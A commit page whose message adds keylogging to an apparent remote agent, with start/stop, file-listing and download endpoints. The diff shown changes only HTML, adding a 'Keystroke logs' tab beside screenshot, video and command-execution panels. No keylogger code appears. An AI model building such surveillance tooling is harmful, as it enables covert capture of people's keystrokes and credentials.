Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
@@ -145,6 +145,7 @@
|
||||
<button data-tab="screenshot">Screenshot</button>
|
||||
<button data-tab="video">Video</button>
|
||||
<button data-tab="exec">Command</button>
|
||||
<button data-tab="logs">Logs</button>
|
||||
</nav>
|
||||
<main>
|
||||
<section id="status" class="panel active">
|
||||
@@ -222,6 +223,19 @@
|
||||
<p id="exec-meta" class="meta"></p>
|
||||
<pre id="exec-out"></pre>
|
||||
</section>
|
||||
<section id="logs" class="panel">
|
||||
<div class="row">
|
||||
<h2>Keystroke logs</h2>
|
||||
<button id="log-refresh" class="primary" type="button">Refresh</button>
|
||||
</div>
|
||||
<p id="log-meta" class="meta"></p>
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>File</th><th>Size</th><th>Modified</th><th></th></tr>
|
||||
</thead>
|
||||
<tbody id="log-rows"></tbody>
|
||||
</table>
|
||||
</section>
|
||||
</main>
|
||||
<script src="/app.js"></script>
|
||||
</body>
|
||||
|
||||
Reference in New Issue
Block a user